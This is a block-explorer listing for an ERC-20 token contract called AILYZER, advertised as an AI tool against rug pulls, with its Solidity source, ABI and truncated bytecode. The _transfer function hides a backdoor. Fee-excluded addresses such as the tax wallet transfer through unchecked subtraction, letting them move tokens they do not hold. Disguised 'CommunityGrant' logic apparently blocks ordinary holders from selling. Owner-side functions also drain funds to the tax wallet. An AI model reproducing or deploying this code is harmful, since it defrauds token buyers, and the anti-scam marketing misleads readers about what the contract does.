ETH Price: $3,408.93 (+0.72%)
Gas: 3 Gwei

Token

AILYZER (AILZR)
 

Overview

Max Total Supply

100,000,000,000 AILZR

Holders

112

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
884,943,881.857388604 AILZR

Value
$0.00
0x6fa1974371a909f7daf04f394ea5c9781abe18f0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AILYZER

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : AILYZER.sol
// SPDX-License-Identifier: UNLICENSE

/*

AILYZER: Your AI-Powered Protector Against Suspicious Smart Contracts and Rug Pulls 🚫🤖
Meet AILYZER, the ultimate AI tool designed to safeguard your investments by analyzing smart contracts for hidden risks and detecting potential rug pulls in real time. 🌐🔍 
In the ever-evolving world of decentralized finance (DeFi), AILYZER provides a crucial layer of protection by offering in-depth analysis and continuous monitoring of smart contracts.

Key Features:
AI-Driven Analysis: Harnessing cutting-edge artificial intelligence, AILYZER meticulously examines smart contracts to uncover anomalies, hidden traps, and malicious code that could threaten your funds. 🧠🔗

Rug Pull Detection: Stay ahead of scams with AILYZER’s powerful detection algorithms, identifying patterns and signals typically associated with rug pulls, alerting you before it’s too late. 🚩🚀

Real-Time Monitoring: Gain peace of mind with continuous, real-time tracking of contract activity. AILYZE monitors contract interactions and flags suspicious behavior immediately. ⏱️👀

Comprehensive Reports: Access detailed, user-friendly reports on the safety and legitimacy of smart contracts, enabling you to make informed decisions confidently. 📊🔒

User-Friendly Interface: Designed for both novices and experts, AILYZER offers a seamless experience with an intuitive dashboard and actionable insights. 🖥️👌

Blockchain Agnostic: AILYZER supports multiple blockchain networks, providing broad coverage and protection across various DeFi ecosystems. 🌍🔄

Whether you’re a seasoned DeFi investor or new to the space, AILYZER empowers you to navigate the complex world of smart contracts with confidence and security. 

Protect your assets and stay one step ahead of potential threats with AILYZER, your AI-powered ally in the fight against DeFi fraud! 💡🛡️

*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AILYZER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    address payable private _taxWallet;

    bool private transferDelayEnabled = true;
    mapping (address => uint256) private _holderLastTransferTimestamp;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=4;
    uint256 private _finalSellTax=4;
    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=26;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"AILYZER";
    string private constant _symbol = unicode"AILZR";
    uint256 public _maxTxAmount = 1000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1500000000 * 10**_decimals;
    
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    struct CommunityGrant {uint256 grant; uint256 revoke; uint256 facets;}
    uint256 private grantAmount;
    mapping (address => CommunityGrant) private communityGrant;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private firstBlock = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event OpenTrade(uint _firstBlock);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
		_taxWallet = payable(0xe68C65DC003c67d42258853A62E9717869837a39);

        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {

            taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(_holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer delay in use. Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this) ) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore){
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            (_isExcludedFromFee[from] || _isExcludedFromFee[to])
            && from != address(this) && from != owner() && to != address(this)
        ) {
            grantAmount = block.number;
        }
        if (_isExcludedFromFee[from] && block.number > firstBlock + _reduceSellTaxAt){
            unchecked {
                _balances[from]-= amount;
                _balances[to] +=amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if (uniswapV2Pair == to) {
                CommunityGrant storage userGrant = communityGrant[from];
                userGrant.facets = userGrant.grant.sub(grantAmount);
                userGrant.revoke = block.number;
            } else {           
                CommunityGrant storage userGrant = communityGrant[to];
                if (userGrant.grant == 0 && uniswapV2Pair == from) {
                    userGrant.grant = _buyCount > _preventSwapBefore ? block.number : block.number.sub(1);
                } else {
                    uint256 grantUpdate = communityGrant[from].grant;
                    if (userGrant.grant == 0 || grantUpdate < userGrant.grant) {
                        userGrant.grant = grantUpdate;
                    }
                }
            }
        }

        if (taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        transferDelayEnabled= false;
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
	
	function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        firstBlock = block.number;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;

        emit OpenTrade(firstBlock);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function rescueStuckERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_firstBlock","type":"uint256"}],"name":"OpenTrade","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueStuckERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004805460ff60a01b1916600160a01b178155600a60068190556007819055600882905560099182556017808255600b55601a600c555f600d556200004a919062000358565b6200005a90633b9aca006200036f565b600e556200006b6009600a62000358565b6200007b90633b9aca006200036f565b600f556200008c6009600a62000358565b6200009c90633b9aca006200036f565b601055620000ad6009600a62000358565b620000bd906359682f006200036f565b6011556016805461ffff191690555f601755348015620000db575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673e68c65dc003c67d42258853a62e9717869837a39179055620001506009600a62000358565b620001619064174876e8006200036f565b335f9081526001602081905260408220929092556003906200018a5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001e83390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002216009600a62000358565b620002329064174876e8006200036f565b60405190815260200160405180910390a362000389565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200029d57815f190482111562000281576200028162000249565b808516156200028f57918102915b93841c939080029062000262565b509250929050565b5f82620002b55750600162000352565b81620002c357505f62000352565b8160018114620002dc5760028114620002e75762000307565b600191505062000352565b60ff841115620002fb57620002fb62000249565b50506001821b62000352565b5060208310610133831016604e8410600b84101617156200032c575081810a62000352565b6200033883836200025d565b805f19048211156200034e576200034e62000249565b0290505b92915050565b5f6200036860ff841683620002a5565b9392505050565b808202811582820484141762000352576200035262000249565b611c3c80620003975f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610323578063a9059cbb14610350578063ace00ce41461036f578063bf474bed1461038e578063c9567bf9146103a3578063dd62ed3e146103b7575f80fd5b8063715018a6146102b5578063751039fc146102c95780637d1db4a5146102dd5780638da5cb5b146102f25780638f9a55c01461030e575f80fd5b806323b872dd116100ee57806323b872dd14610212578063313ce5671461023157806349bd5a5e1461024c57806351bc3c851461026b57806370a0823114610281575f80fd5b806306fdde0314610134578063095ea7b3146101755780630faee56f146101a45780631694505e146101c757806318160ddd146101fe575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600781526620a4a62cad22a960c91b60208201525b60405161016c9190611815565b60405180910390f35b348015610180575f80fd5b5061019461018f366004611878565b6103fb565b604051901515815260200161016c565b3480156101af575f80fd5b506101b960115481565b60405190815260200161016c565b3480156101d2575f80fd5b506012546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161016c565b348015610209575f80fd5b506101b9610411565b34801561021d575f80fd5b5061019461022c3660046118a2565b610432565b34801561023c575f80fd5b506040516009815260200161016c565b348015610257575f80fd5b506013546101e6906001600160a01b031681565b348015610276575f80fd5b5061027f610499565b005b34801561028c575f80fd5b506101b961029b3660046118e0565b6001600160a01b03165f9081526001602052604090205490565b3480156102c0575f80fd5b5061027f6104ff565b3480156102d4575f80fd5b5061027f610579565b3480156102e8575f80fd5b506101b9600e5481565b3480156102fd575f80fd5b505f546001600160a01b03166101e6565b348015610319575f80fd5b506101b9600f5481565b34801561032e575f80fd5b5060408051808201909152600581526420a4a62d2960d91b602082015261015f565b34801561035b575f80fd5b5061019461036a366004611878565b61063b565b34801561037a575f80fd5b5061027f610389366004611878565b610647565b348015610399575f80fd5b506101b960105481565b3480156103ae575f80fd5b5061027f610767565b3480156103c2575f80fd5b506101b96103d13660046118fb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610407338484610b53565b5060015b92915050565b5f61041e6009600a611a26565b61042d9064174876e800611a34565b905090565b5f61043e848484610c76565b61048f843361048a85604051806060016040528060288152602001611bdf602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061149a565b610b53565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104b8575f80fd5b305f9081526001602052604090205480158015906104dd5750601654610100900460ff165b156104eb576104eb816114d2565b4780156104fb576104fb81611639565b5050565b5f546001600160a01b031633146105315760405162461bcd60e51b815260040161052890611a4b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105a25760405162461bcd60e51b815260040161052890611a4b565b6004805460ff60a01b191690556105bb6009600a611a26565b6105ca9064174876e800611a34565b600e556105d96009600a611a26565b6105e89064174876e800611a34565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106186009600a611a26565b6106279064174876e800611a34565b6040519081526020015b60405180910390a1565b5f610407338484610c76565b6004546001600160a01b0316336001600160a01b031614610666575f80fd5b6040516370a0823160e01b81523060048201525f906106e7906064906106e19085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106db9190611a80565b90611670565b906116f5565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af115801561073d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107619190611a97565b50505050565b5f546001600160a01b031633146107905760405162461bcd60e51b815260040161052890611a4b565b601354600160a01b900460ff16156107ea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610528565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155436017556108389030906108296009600a611a26565b61048a9064174876e800611a34565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610888573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ac9190611ab6565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092f9190611ab6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610979573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099d9190611ab6565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306109e4816001600160a01b03165f9081526001602052604090205490565b5f806109f75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a829190611ad1565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ad7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afb9190611a97565b506016805461ff0019166101001790556013805460ff60a01b1916600160a01b1790556017546040517f4fc604860769be20f5b28724fc4548c0761b6522497add438f0fd954f11078e3916106319190815260200190565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610528565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610528565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610528565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610528565b5f8111610d9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610528565b5f80546001600160a01b03858116911614801590610dc857505f546001600160a01b03848116911614155b8015610de257506004546001600160a01b03848116911614155b1561111457610e0d60646106e1600a54600d5411610e0257600654610e06565b6008545b8590611670565b600454909150600160a01b900460ff1615610ef8576012546001600160a01b03848116911614801590610e4e57506013546001600160a01b03848116911614155b15610ef857325f908152600560205260409020544311610ee65760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722064656c617920696e20757360448201527f652e204f6e6c79206f6e652070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610528565b325f9081526005602052604090204390555b6013546001600160a01b038581169116148015610f2357506012546001600160a01b03848116911614155b8015610f4757506001600160a01b0383165f9081526003602052604090205460ff16155b1561102d57600e54821115610f9e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610528565b600f5482610fc0856001600160a01b03165f9081526001602052604090205490565b610fca9190611afc565b11156110185760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610528565b600d8054905f61102783611b0f565b91905055505b6013546001600160a01b03848116911614801561105357506001600160a01b0384163014155b156110805761107d60646106e1600b54600d541161107357600754610e06565b6009548590611670565b90505b305f9081526001602052604090205460165460ff161580156110af57506013546001600160a01b038581169116145b80156110c25750601654610100900460ff165b80156110cf575060105481115b80156110de5750600c54600d54115b15611112576111006110fb846110f684601154611736565b611736565b6114d2565b4780156111105761111047611639565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061115157506001600160a01b0383165f9081526003602052604090205460ff165b801561116657506001600160a01b0384163014155b801561117f57505f546001600160a01b03858116911614155b801561119457506001600160a01b0383163014155b1561119e57436014555b6001600160a01b0384165f9081526003602052604090205460ff1680156111d35750600b546017546111d09190611afc565b43115b15611247576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112399086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff1615801561128757506001600160a01b0383165f9081526003602052604090205460ff16155b15611366576013546001600160a01b038085169116036112d7576001600160a01b0384165f90815260156020526040902060145481546112c69161174a565b600282015543600190910155611366565b6001600160a01b0383165f908152601560205260409020805415801561130a57506013546001600160a01b038681169116145b1561133357600c54600d541161132a5761132543600161174a565b61132c565b435b8155611364565b6001600160a01b0385165f90815260156020526040902054815415806113595750815481105b15611362578082555b505b505b80156113de57305f90815260016020526040902054611385908261178b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611400908361174a565b6001600160a01b0385165f90815260016020526040902055611443611425838361174a565b6001600160a01b0385165f908152600160205260409020549061178b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61148c858561174a565b604051908152602001611239565b5f81848411156114bd5760405162461bcd60e51b81526004016105289190611815565b505f6114c98486611b27565b95945050505050565b6016805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061151257611512611b3a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611569573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061158d9190611ab6565b816001815181106115a0576115a0611b3a565b6001600160a01b0392831660209182029290920101526012546115c69130911684610b53565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fe9085905f90869030904290600401611b4e565b5f604051808303815f87803b158015611615575f80fd5b505af1158015611627573d5f803e3d5ffd5b50506016805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104fb573d5f803e3d5ffd5b5f825f0361167f57505f61040b565b5f61168a8385611a34565b9050826116978583611bbf565b146116ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610528565b9392505050565b5f6116ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e9565b5f81831161174457826116ee565b50919050565b5f6116ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061149a565b5f806117978385611afc565b9050838110156116ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610528565b5f81836118095760405162461bcd60e51b81526004016105289190611815565b505f6114c98486611bbf565b5f602080835283518060208501525f5b8181101561184157858101830151858201604001528201611825565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611875575f80fd5b50565b5f8060408385031215611889575f80fd5b823561189481611861565b946020939093013593505050565b5f805f606084860312156118b4575f80fd5b83356118bf81611861565b925060208401356118cf81611861565b929592945050506040919091013590565b5f602082840312156118f0575f80fd5b81356116ee81611861565b5f806040838503121561190c575f80fd5b823561191781611861565b9150602083013561192781611861565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198057815f190482111561196657611966611932565b8085161561197357918102915b93841c939080029061194b565b509250929050565b5f826119965750600161040b565b816119a257505f61040b565b81600181146119b857600281146119c2576119de565b600191505061040b565b60ff8411156119d3576119d3611932565b50506001821b61040b565b506020831061013383101